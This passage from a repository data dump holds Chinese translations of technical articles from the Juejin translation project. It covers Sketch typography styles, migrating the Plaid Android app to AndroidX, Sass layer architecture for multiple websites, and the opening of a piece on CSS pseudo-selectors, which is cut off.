[第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-six-tutorial.md)\n*   [第七部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-seven-tutorial.md)\n*   [第八部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-eight-tutorial.md)\n*   [第九部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-nine-tutorial.md)\n\n\n* * *\n\n### 文字设计\n\n![](https://cdn-images-1.medium.com/max/800/1*HkYiqCoiWKrqrD_k-FLLQw.jpeg)\n\n嘿嘿。 接下来我们来讲设计体系的文字设计 (文字风格）。为了更好地达到教学目的，在新手包裹（咱们开始设计 iOS App 时会接触到)的文字风格是我在 Cabana 里所使用的文字风格的精简版。\n\n在我逐步构建出 Cabana 设计体系的过程中，最耗时的元素莫过于文字设计了。创建文字的风格是件苦差事，然而当我开始将他们付诸实践时就能看到其优点所在。不过不管怎么说，要把他们都一一整合绝非易事。\n\n![](https://cdn-images-1.medium.com/max/800/1*AJ1Kize1DQ0RLs3cLSiPQA.jpeg)\n\n像我之前提到过的，在本系列教程中我只囊括了文字风格精简之后的4种色彩样式：\n- 黑\n- 灰\n- 白\n- 原色\n\n当然啦，我在第一讲中也提到过，如果你打算创建一个十分丰满的设计体系的话，那么你可以创建有着以下几种色彩选择的文字风格：\n\n- 黑\n- 灰\n- 浅灰\n- 白\n- 原色\n- 红\n- 绿\n- …或者任何其他颜色用来作为你的底色\n\n以上呢就是我为自己的设计体系所做的选择，其实和我之前所创建的底色的选择差不了多少。\n\n### 为何如此麻烦？\n\n有一天有人问我为啥子我得为两种字体家族（Font Family 1 与 Font Family 2）创建这么多不同的字重和字型大小 —— 这样不是自找麻烦吗？\n\n我见过有些设计体系，能够只为了一个标题专门构建一个字体家族，然后另建一个内容主体的字体家族，再来一个专门为导引的…\n\n我个人觉得这样做的话才是真的麻烦，而且在之后的过程中容易出岔子。\n\n回到我的做法，在整个设计体系的创建阶段确实会更累人（花了不少时间吧？）。不过呢，一旦你手头上有了两种字体家族中所有不同的自重和字型大小，你就能很自在地说 “我在这个项目中全程只用到 Proxima Nova（属于字体家族1号），并且我有H1、H2、Body（内容主体）和 Lead（导引）以及其他所有内容分类，而不是项目做到一半了才发现我第一个字体家族中没有 Body，而且字体家族 2 号里没有 H1，然后得回头重新完善现有的体系，真是令人感受到淡淡的忧伤！”\n\n### 为何我文字设计的选项命名如此奇怪？\n\n还有人提到为啥子我文字设计的选项叫做…\n\n- Font Family #1 （字体家族 1 号）\n- Font Family #2 （字体家族 2 号）\n\n同样的，我见过有些设计体系是直接用字体家族原本的名称来标注文字风格的，比如说 — _Lato_, _Open Sans_, _Proxima Nova_ 等等…\n\n然后你会看到以下的画面：\n\n**_H1 > Proxima Nova > Left > Black_**\n\n先声明一下我并不是完全不赞同这样的方案，如果你能适应的话那你很棒棒。然而我个人觉着吧，比如说当你决定地把 _Proxima Nova_ 换成 _Helvetica_ 的时候，这便成了会使整个过程变慢的另一个因素。虽然说当你想要切换成不同的文字风格的时候，有 Sketch的插件可以做到这一点，但既然可以避免淌这趟浑水你又何必多此一举呢，对吧？\n\n如果你习惯于 90% 的情况下在，标题上用字体家族 1 号，而在内容主体、导引段落等地方使用字体家族 2 号。。。那么看起来这就是你的老习惯，所以……当你决定把字体从 Proxima Nova 换成 Comic Sans ，而不得不更改文字样式名称的时候，千万别对插件火冒三丈啊。\n\n### 先看这儿，朋友!!\n\n**如果你对于我如何在自己的设计体系里构建文字设计的元素还想要有更深的了解的话，可以阅读我之前写过的** [**文章**](https://medium.com/sketch-app-sources/how-to-create-a-design-system-in-sketch-part-one-fd450dccab10) **(直接跳到文字设计的部分), 完事之后记得回到这里哈。**\n\n你看完这篇 [**文章**](https://medium.com/sketch-app-sources/how-to-create-a-design-system-in-sketch-part-one-fd450dccab10)了吗？”酷，我们现在在一个节奏上，很稳！\n\n就像在第一讲中我曾经对基准色元素所做的那样，当我完成了两套字体家族的调试之后，给他们加上相对应的标题（比如 字体家族 #1 (黑), 字体家族 #2 (灰)等等。然后把他们放在一块儿并且锁定。 \n\n我对字体家族1号和字体家族 2 号（白色）做了类似的设置，为了有明显的对比色我把背景设置成黑色，然后也给锁定了。\n现在我可以简单地选到这个部分，拖拽光标去选择一大块文字了…\n\n![](https://cdn-images-1.medium.com/max/800/1*RTccjxnSeMvzpOFHk0UxwQ.jpeg)\n\n…用 Inspector 来更新字体，不用担心一不小心改变了参照的标题或者把背景层拖到了屏幕里。\n\n![](https://cdn-images-1.medium.com/max/800/1*72TdwduU1t-2nIrLbO9SMQ.jpeg)\n\n**当你重复这么做20次的时候会不会非常头疼？**\n\n希望藉着本篇丰富的干货以及这篇之前提到的[好文](https://medium.com/sketch-app-sources/how-to-create-a-design-system-in-sketch-part-one-fd450dccab10)，你现在对于创建出你自己设计体系最棒的文字设计有了更加专业的想法。\n\n* * *\n\n好了，本系列教程的第二讲到此为止。请继续阅读第三讲，在第三讲中我将会提到设计体系中用到的 Symbols 以及更多的内容，以及一些实用且绝妙的诀窍和提示，还有我如何将其融入到我的设计体系中的想法。\n**想前往第三部分就点[这里](https://medium.com/sketch-app-sources/creating-with-a-design-system-in-sketch-part-three-tutorial-105b12a0944a)…**\n\n### 🎁 想用我这针对 Sketch 的优质设计体系来飞速提升你的工作流程吗？你可以从[这里](https://kissmyui.com/cabana)拷贝一份 Cabana。\n\n输入这个促销码 **MEDIUM25** 就能得到**七五折的优惠**哦。\n\n**谢谢阅读本文**\n\n**Marc**\n\n**设计师, 作者, 父亲，以及一两个奇葩渐变色的爱好者**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cross-stitching-plaid-and-androidx.md",
    "content": "> * 原文地址：[Cross-stitching Plaid and AndroidX](https://medium.com/androiddevelopers/cross-stitching-plaid-and-androidx-7603a192348e)\n> * 原文作者：[Tiem Song](https://medium.com/@tiembo)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cross-stitching-plaid-and-androidx.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cross-stitching-plaid-and-androidx.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[PhxNirvana](https://github.com/phxnirvana)\n\n# Plaid 应用迁移到 AndroidX 的实践经历\n\n一份 AndroidX 的迁移指南\n\n![](https://cdn-images-1.medium.com/max/2560/1*XYbnKLfu7L533n8DASGvrQ.png)\n\n由 [Virginia Poltrack](https://twitter.com/vpoltrack) 提供图片。\n\nPlaid 是一款呈现 Material Design 风格和丰富交互界面的有趣应用。最近这款应用通过现今的 Android 应用开发技术实现了一番重构。获取更多应用信息和重新设计的视觉效果，可以查阅 [Restitching Plaid](https://medium.com/@crafty/restitching-plaid-9ca5588d3b0a)。\n\n* [**Restitching Plaid**: 把 Plaid 更新到最新应用标准](https://medium.com/@crafty/restitching-plaid-9ca5588d3b0a \"https://medium.com/@crafty/restitching-plaid-9ca5588d3b0a\")\n\n和大多数 Android 应用一样，Plaid 依赖 Android Support Library，该库可以为新 Android 特性提供向后兼容性，以便可以运行在旧版操作系统的 Android 机上。在 2018 年的 9 月份，最新的 Support Library 版本（28.0.0）被发布，和 Support Library 一起发布的 Android 库已经被迁移到 AndroidX（除了 Design 库被迁移到 Android 的 Material Components），并且这些库的新增开发都是基于 AndroidX。因此，接收 bug 修复、新功能和其他库更新的唯一选择就需要将 Plaid 迁移到 AndroidX。\n\n### 什么是 AndroidX?\n\n在 2018 Google I/O 大会上，Android 团队[发布了 AndroidX](https://android-developers.googleblog.com/2018/05/hello-world-androidx.html)。它是 Android 团队用于开发、测试、打包、定版以及在 [Jetpack](https://developer.android.com/jetpack/) 中发布库时所用到的[开源代码](https://android.googlesource.com/platform/frameworks/support/+/androidx-master-dev)。和 Support Library 类似，每一个 [AndroidX](https://developer.android.com/jetpack/androidx/) 库都是独立于 Android OS 来发布，并且提供了跨 Android 版本的向后兼容性。它是对 Support Library 的重大改进和全面替代方案。\n\n阅读下文来了解我们如何为迁移过程准备自己的代码，以及执行迁移过程。\n\n### 迁移前准备\n\n我强烈建议在一个版本可控的分支做迁移工作。这样你可以逐步解决可能出现的任何迁移问题，同时分离出每个变更用于分析定位问题。你可以在这个 [Pull Request](https://github.com/nickbutcher/plaid/pull/524) 下查看我们的讨论过程，并且通过点击下面的提交链接来跟进最新信息。另外 Android Studio 提供了一个迁移前做工程备份的可选服务。\n\n和任何大规模代码的重构工作一样，最好在迁移到 AndroidX 期间，迁移分支与主要开发分支之间做到最少合并来避免合并冲突。虽然对其他应用来说不可行，但是我们团队能够临时暂停向主分支提交代码以帮助迁移。一次性迁移整个应用也非常必要，因为部分迁移——同时使用 AndroidX 和 Support 库将会导致迁移过程中的失败。\n\n最后，请阅读 [developer.android.com](https://developer.android.com/) 网站上[迁移至 AndroidX](https://developer.android.com/jetpack/androidx/migrate) 文中的提示。现在让我们开始吧！\n\n### 依赖标识\n\n在你开始之前，对代码准备的最重要的一点建议是：\n\n> 确保你正在使用的依赖库是与 AndroidX 兼容的。\n\n依赖于一个旧版 support 库的第三方库可能与 AndroidX 不兼容，这很有可能导致你的应用在迁移到 AndroidX 后无法编译。检查你的应用任意依赖是否兼容的一个方法是访问这些依赖的项目站点。一个更直接的方法是开始迁移，并且检查可能出现的报错。\n\n对于 Plaid 应用，我们使用了一个与AndroidX 不兼容的图形加载库 [Glide](https://bumptech.github.io/glide/) 的旧版本（4.7.1）。这导致迁移后出现一个让应用无法构建的代码生成问题（这是一个记录在 Glide 工程下的类似[问题](https://github.com/bumptech/glide/issues/3126)），在开始迁移之前我们把 Glide 更新到版本 4.8.0（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/6b23efa838d4e9f60a3e78ae324c0c4a43ec8de0)），这个版本添加了对 AndroidX 注解的支持。\n\n关于这一点，请尽可能地更新到你的应用所依赖第三方库的最新版本。这对 Support 库而言尤其是一个好主意，因为升级到 28.0.0（截至撰写本文的最终版本）将使迁移更加顺畅。\n\n### 使用 Android Studio 进行重构\n\n迁移过程中我们使用了 Android Studio 3.2.1 版本中内置的重构工具。 AndroidX 迁移工具位于菜单栏的 Refactor > Migrate to AndroidX 选项。这个选项将迁移整个项目的所有模块。\n\n![](https://cdn-images-1.medium.com/max/800/1*lztKTBouffsQZyUbkNkYHA.png)\n\n运行 AndroidX 重构工具后的预览窗口。\n\n如果你不使用 Android Studio 或者更倾向于其他工具来做迁移，请参考 [Artifact](https://developer.android.com/jetpack/androidx/migrate#artifact_mappings) 和 [Class](https://developer.android.com/jetpack/androidx/migrate#class_mappings) 来对比新旧支持库间架构和类的改动，这些材料也有提供 CSV 格式。\n\nAndroid Studio 中的 AndroidX 迁移工具是 AndroidX 迁移的主要方式。这个工具正在持续的优化中，所以如果你遇到问题或者希望查看某个功能，请在 Google 问题追踪页[提交一票](https://issuetracker.google.com/issues/new?component=460323)。\n\n### 迁移应用\n\n> **变更最少的代码以保证应用可以仍能正常运行。**\n\n在运行 AndroidX 迁移工具后，大量的代码被变更，然而项目却无法编译成功。此时，我们仅仅[做了最少量的工作](https://github.com/nickbutcher/plaid/compare/dd2ebf7f2de74809981e7c904c9ee22d16db5262...d2cefa384448f4d3fb92dec0ade25d9bd87efb63)来使应用重新运行起来。\n\n这个方法有利于把流程拆解为可控的步骤。我们留下了一些任务，诸如修复导入顺序、提取依赖变量、减少完整 classpath 的使用，以便后续的清理工作。\n\n刚开始出现的报错之一是重复的类 —— 像这种情况，`PathSegment`：\n\n```\nExecution failed for task ':app:transformDexArchiveWithExternalLibsDexMergerForDebug'.\n\n> com.android.builder.dexing.DexArchiveMergerException: Error while merging dex archives:\n\n如何解决这个问题参考这里： https://developer.android.com/studio/build/dependencies#duplicate_classes.\n\nProgram type already present: androidx.core.graphics.PathSegment\n```\n\n这是一个由迁移工具生成错误依赖（`androidx.core:core-ktx:0.3`）导致的报错。我们手动更新（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/8e60a351625b934a650b571dd67f4d206f96ac91)）到正确的依赖版本（`androidx.core:core-ktx:1.0.0`）。这个[bug](https://issuetracker.google.com/issues/111260482) 已经在 Android Studio 3.3 Canary 9 及之后的版本被修复。我们指出这点是因为你或许在迁移过程中会遇到类似的问题。\n\n接下来，`Palette` API 在新版中变得可以为空，为了暂时避开（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/75b8ffd621693ac52a0ce243599cfcfd25242d5f)）这点，我们添加了`!!`（[非空断言操作符](https://kotlinlang.org/docs/reference/null-safety.html#the--operator)）。\n\n然后我们遇到了一个 `plusAssign` 缺失的报错。这个加载在 1.0.0 版本中被移除。`plusAssign` 的使用被临时注释掉了（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/d2cefa384448f4d3fb92dec0ade25d9bd87efb63)）。本文的后面我们会研究对 `Palette` 和 `plusAssign` 问题的可持续解决方案。\n\n现在应用可以运行了，到清理代码的时候了！\n\n### 清理代码\n\n应用在运行中，但是我们的持续集成系统报告了代码提交后的构建错误：\n\n```\nExecution failed for task ':designernews:checkDebugAndroidTestClasspath'.\n\n> Conflict with dependency 'androidx.arch.core:core-runtime' in project ':designernews'. \n\nResolved versions for runtime classpath (2.0.0) and compile classpath (2.0.1-alpha01) differ. This can lead to runtime crashes. \n\nTo resolve this issue follow advice at https://developer.android.com/studio/build/gradle-tips#configure-project-wide-properties.\n\nAlternatively, you can try to fix the problem by adding this snippet to /.../plaid/designernews/build.gradle:\n\n  dependencies {\n    implementation(\"androidx.arch.core:core-runtime:2.0.1-alpha01\")\n  }\n```\n\n我们依照测试日志中的参考建议，添加了缺失的依赖模块（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/aba91a9cd5a7a92dc5b9863a6b8c9f980597726b)）。\n\n我们也借此机会更新了我们的 Gradle 插件版本、Gradle wrapper 版本、Kotlin 版本（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/b38f2cf74520693699fbcedcb0119778396ba0ec)）。Android Studio 推荐我们安装 28.0.3 版本的构建工具，我们也照做了。在使用 Gradle 3.3.0-alpha13 版本插件时我们遇到的问题，通过降级到 3.3.0-alpha8 版本的方式得到解决。\n\n迁移工具的一个缺点是：如果你在依赖版本项使用了变量，迁移工具把它们自动内联。我们从 build.gradle 文件中重新提取了这些版本（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/0c5a3d62a83ecf400de376f4b4e6e7c3a6bf3c2a)）。\n\n上文中我们提到了运行 AndroidX 迁移工具后对 `plusAssign` 和 `Palette` 问题的临时解决方案。我们通过将 AndroidX 版本降低来重新添加了 plusAssign 函数和相关测试（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/0a5a5a3d50ece0f671201e1183b971fb4a3e158a)），并且恢复了被注释了的代码。与此同时，我们把 `Palette` 参数更新到可以为空的这个版本（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/7aad3005ea8ab222443f1a2ea34252e25328d677)），这样就无需使用操作符 `!!`。\n\n同样的，自动转化可能使得某些类需要使用它们的完整类路径。做最少的手工修正是一个好的思路。作为清理工作的一部分，我们移除了完整类路径，并在必要时重新添加了相关引用。\n\n最后，一些少量测试相关的修改被加入工程，围绕着测试过程中的依赖冲突（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/9715e2f8fdabc21b6d73e2f11f31982e90292461)）和 Room 的测试用例（参考这次[提交](https://github.com/nickbutcher/plaid/pull/524/commits/a997200ec98b8466c427d5ac16eae94bae816da9)）。这时我们的工程完成全部转化，并且我们的测试都已通过。\n\n### 结束过程\n\n尽管遇到了一些障碍，AndroidX 的迁移进展得比较顺利。遇到的问题主要涉及依赖库或类的错误转换，以及新库中的 API 变化。 幸运的是这些都相对容易解决。Plaid 现在已经准备好再被用起来了！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/css-architecture-for-multiple-websites.md",
    "content": "> * 原文地址：[CSS Architecture for Multiple Websites](https://medium.com/@elad/css-architecture-for-multiple-websites-ad696c9d334)\n> * 原文作者：[Elad Shechter](https://medium.com/@elad)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/css-architecture-for-multiple-websites.md](https://github.com/xitu/gold-miner/blob/master/TODO1/css-architecture-for-multiple-websites.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[xionglong58](https://github.com/xionglong58)，[lgh757079506](https://github.com/lgh757079506)\n\n# 多网站项目的 CSS 架构\n\n> CSS 架构 —— 第三部分\n\n复杂的 CSS 架构，可不是你在科班里能学到的东西。\n\n我在互联网行业的第四份工作，是在我国一家领先的媒体新闻公司中任职一名 CSS/HTML 专家，我的主要职责就是开发可重用的、可扩展的、用于多网站的 CSS 架构。\n\n![](https://cdn-images-1.medium.com/max/2000/1*WreGgi4zIgKz_cb5vRjGTA.png)\n\n在本文中，我将与大家分享我在构建多网站架构领域中积累的知识和经验。\n\n附注：如今，正规的项目都会用到 CSS 预处理器。而在本文中，我会使用 Sass 预处理器。\n\n本文是我写的讨论 CSS 架构的系列文章中的第三篇。建议大家最好先读读此系列的第二篇 —— [《CSS 架构：文件夹和文件结构》](https://medium.com/@elad/css-architecture-folders-files-structure-f92b40c78d0b)，有助于加深对本文的理解。\n\n## 用层构建世界\n\n在开始开发一个大型项目之前，我们应该放眼全局，把多个网站的共同之处提炼出来。高楼大厦始于一砖一瓦，而项目的基石就是样式规格化、混入（Mixins）、通用图标以及局部模块层（元素、组件、图形逻辑、实体、页面……不一而足）等。\n\n为了使多重项目（即多个网站）正常运转，我们必须决定哪些样式是通用样式、哪些是专有样式 —— 通用样式写进基础层，而专有样式写在与其对应的层中。这是一条充满摸索和碰壁的实践之路。每当思考的角度发生变化，我们都需要逐层地挪动样式代码，直到我们觉得顺眼为止，这都是家常便饭了。\n\n理解了这项原则后，我们就可以开始着手构建作为基础的全局层了。这个全局层是整个多重项目（多个网站）的起始点。\n\n下面的示例图向我们演示了彼时我司的项目需求。\n\n![层架构](https://cdn-images-1.medium.com/max/2000/1*zYZV-QHyYrA_1XwxibQw2A.png)\n\n基础层要保持轻量，其中只包含 CSS 初始化、基本的 SASS mixins、通用图标、通用字体（如需）以及功能类，如果某些网格布局适用于所有网站，就将其作为通用网格添加到基础层中。在 `_partials.scss` 层（元素、组件等）中，我们主要用到的是 `_elements.scss` 层，该层中包含诸如通用弹窗、通用表单和通用标题等此类局部模块。我们应该在基础样式中添加的是所有（或者大多数）底层样式共有的部分。（更多关于文件夹和文件结构的细节，参见我的[上一篇文章](https://medium.com/@elad/css-architecture-folders-files-structure-f92b40c78d0b)）\n\n#### 如何组织多个层\n\n在我们的架构中，每个层都至少包含三个文件：两个私有文件（局部样式文件和配置文件，称之为私有是因为它们不会被编译成一个 CSS 文件）和一个公共文件（本层的主文件）。每层的配置文件 **`_config.scss`** 通常包含变量。**`_local.scss`** 文件则包含内容样式，为当前层充当控制器或者包管理器的角色。而**第三个**文件（layer-name.scss）会**调用**前二者。\n\n**layer-name.scss 文件：**\n\n```\n@import \"config\";\n@import \"local\";\n```\n\n另外一个我们要给自己定下的原则就是，尽可能把每个文件都拆分成尽可能小的部分（小文件）。这个原则会让重构非常方便。\n\n在每一层中，都要保证**只编译 layer-name.scss 文件**，即使某些层代表的是一个“虚拟项目”（如上面示例图中的“基础层框架”）。\n\n对于不会被编译成单独文件的私有文件，我们用一个下划线（`_`）作为其文件名的前缀。这里的下划线代表着此文件不能单独存在。\n\n**注意：**当导入私有文件时，我们书写其文件名时可以不必带上前缀下划线。\n\n**层架构示例：**\n\n![**_local.scss 文件导入了 local 文件夹中所有的 *.scss 文件**，而这些 local 文件夹中的 *.scss 文件按序调用私有文件夹中所有的 *.scss 文件。同理，**_config.scss 文件调用 config 文件夹中所有的 *.scss 文件**。](https://cdn-images-1.medium.com/max/2000/1*0hwUrfXGWkZR-aTVfoojyA.png)\n\n**文件夹结构长这样：**\n\n```\nsass/ \n |\n |- base-layer/\n     |- config/     \n     |- local/\n     |- _config.scss\n     |- _local.scss\n     |- base-layer.css  (编译后的层样式)\n     |- base-layer.scss\n```\n\n## 继承\n\n假设我们想要从基础层开始创建一个项目。我们需要根据 base-layer 文件夹的内部结构，用新项目的名称照猫画虎地克隆一套出来。在后续例子中，我们把这个新项目称为 **inherited-project**。\n\n**提示**：把所有的层目录和项目目录都放在 Sass 的根目录中。\n\n该项目至少包含一个 **`_config.scss`** 文件、一个 **`_local.scss`** 文件和此层的核心 Sass 文件 —— 在本例中即为 **`inherited-project.scss`**。\n\n所有的层和项目都位于 Sass 的根目录中。\n\n```\nsass/ \n |\n |- base-layer\n |   |- config/     \n |   |- local/\n |   |- _config.scss\n |   |- _local.scss\n |   |- base-layer.css  (编译后的层样式)\n |   |- base-layer.scss \n |\n |- inherited-project\n     |- config/     \n     |- local/\n     |- _config.scss\n     |- _local.scss\n     |- inherited-project.css  (编译后的层样式)\n     |- inherited-project.scss\n```\n\n项目 **inherited-project** 的配置文件引入了 **base-layer** 中的配置文件。这样一来，我们就能增加新变量或者覆写上层（**base-layer**）中的已有变量了。\n\n以下为 **inherited-project/_config.scss** 的一个**例子**：\n\n```\n/*加载 base-layer 配置信息 */\n@import \"../base-layer/config.scss\";\n\n/** 局部的 Config 层 (按需添加或覆写变量)**/\n@import \"config/directions.scss\";\n```\n\n内容样式文件 **inherited-project/_local.scss** 亦同理：\n\n```\n/* 导入 base-layer 局部组件  */\n@import \"../base-layer/local.scss\";\n\n/* 局部字体 */\n@import \"local/font-almoni.scss\";\n\n/* 局部组件 */\n@import \"local/elements.scss\";\n@import \"local/components.scss\";\n```\n\n如果要创建的新层既有通用样式又有独特样式，那么从 `base-layer` 文件夹继承基础层样式再合适不过了。\n\n这一层会创建一个名为 **`inherited-project.css`** 的 CSS 文件。\n\n#### 在内部层中覆写变量\n\n使用“层”的方式覆写变量非常简单。\n\n比方说在基础层中有一个名为 **`$base-color`** 的变量，其值为 blue（**`$base-color: blue;`**）。要想覆写此变量，就需要在**局部文件** `_config.scss` 中更新它的值。现在，所有使用该变量的组件 —— 不论是继承于**基础层**还是定义于**局部层** —— 都会更新对应变量的颜色值。\n\n## Global Story 全局\n\n某些模块并非在所有层中都会用到，因此如果你在基础层中定义它们，其他项目就会导入冗余代码。为了解决这个问题，我走了另一条路线，采用了**全局模块**的概念。\n\n这个概念是说，把仅用于某些层的模块放置于一个新的根目录（`_partials`）中，这个新的根目录位于所有层之外。然后，任何层都可以从全局目录 `_partials` 中导入所需模块。\n\n**下图**展示了将模块分离的例子：\n\n![](https://cdn-images-1.medium.com/max/2000/1*F43F_4fEqXCCTLNz07nrqg.png)\n\n每一层都可以按需从全局目录 **`_partials`** 中调用一个或多个模块。\n\n**全局目录 **`_partials`** 示例：**\n\n```\nsass/ \n |\n |- _partials/ \n |- base-layer/ \n |- inherited-project/\n```\n\n**从 **`_partials`** 导入模块的 local.scss 文件：**\n\n```\n/* 导入 base-layer 中的局部组件 */\n@import \"../base-layer/local.scss\";\n\n/* 局部组件 */\n@import \"local/partials.scss\";\n\n/* 添加全局模块 */\n@import \"../_partials/last-connection\";\n```\n\n**些许额外忠告**\n\n* **组织结构要有条理**。要一直记得以满足需求的方式规划项目、保持最佳结构。\n* **别重蹈覆辙**。仅用 `@import` 即可轻松导入另一层的组件。比如说，某些组件定义在一个“体育”项目中，而这些组件与另一个项目中的“新闻”网站有关联。那我们就可以直接把这些组件 `@import` 进“新闻”网站中。（网站 = 层 = 项目）\n* **充分利用 IDE 快捷方式**。选用一款便于重构的编辑器，免于导致报错或故障。\n* **立新不可破旧**。在开发和后续重构中，每次都要把所有 Sass 根文件一同编译，以免新旧脱节。\n\n## 总结\n\n在本文中，我向大家展示了针对多网站项目的 CSS 体系结构的构建方法，这套思想提炼于我经年积累的知识和经验。\n\n本文是系列文章 **CSS 架构文章新篇**的第三篇，我会每隔几周跟大家分享后续篇章。\n\n如果觉得本文有趣，欢迎在 [**twitter**](https://twitter.com/eladsc) 上或者 [**medium**](https://medium.com/@elad) 上关注我。\n\n## 我的 CSS 架构系列文章：\n\n1. [规格化 CSS 还是 CSS 重置？！](https://medium.com/@elad/normalize-css-or-css-reset-9d75175c5d1e)\n2. [CSS 架构 —— 文件夹和文件架构](https://medium.com/@elad/css-architecture-folders-files-structure-f92b40c78d0b)\n3. [多网站项目的 CSS 架构](https://medium.com/@elad/css-architecture-for-multiple-websites-ad696c9d334)\n\n## 结束语\n\n好了，这次就分享到这里。\n衷心希望大家喜欢本文，并能从我的经验中获益一二。\n如果你喜欢本文，请点赞并和大家分享你的心得，我将不胜感激。:-)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/css-pseudo-selectors-you-never-knew-existed.md",
    "content": "> * 原文地址：[CSS Pseudo-Classes You Might Have Missed](https://blog.bitsrc.io/css-pseudo-selectors-you-never-knew-existed-b5c0ddaa8116)\n> * 原文作者：[Chidume Nnamdi 🔥💻🎵🎮](https://medium.com/@kurtwanger40)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/css-pseudo-selectors-you-never-knew-existed.md](https://github.com/xitu/gold-miner/blob/master/TODO1/css-pseudo-selectors-you-never-knew-existed.md)\n> * 译者：[niayyy](https://github.com/niayyy-S)\n> * 校对者：[Long Xiong](https://github.com/xionglong58)、[CoolRice](https://github.com/CoolRice)\n\n# 你可能会错过的 CSS 伪选择器\n\n![](https://cdn-images-1.medium.com/max/2560/1*jrpPfGEYlAZlB5aRNMt2dA.jpeg)\n\n> **（伪）选择器可以为文档中不一定具体存在的结构指定样式，或者为某些元素、文档的标记模式、甚至是文档本身的状态所指示的幻像类指定样式。**\n> **— CSS 权威指南：Eric Meyer、Estelle Weyl**\n\n这篇文章鼓励构造 UI 时使用更多纯 CSS 和更少的 JS。熟悉所有的 CSS 是实现这个目标的一种方法 —— 另一种是实施最佳实践和尽可能的减少代码。\n\n## ::first-line | 选择首行文本\n\n这个伪元素选择器选择换行之前文本的首行。\n\n```css\np:first-line {\n    color: lightcoral;\n}\n```\n\n## ::first-letter | 选择首字母\n\n这个伪元素选择器应用于元素中文本的首字母。\n\n```css\n.innerDiv p:first-letter {\n    color: lightcoral;\n    font-size: 40px\n}\n```\n\n## ::selection | 选择高亮（被选中）的区域\n\n应用于任何被用户选中的高亮区域。\n\n通过 `::selection` 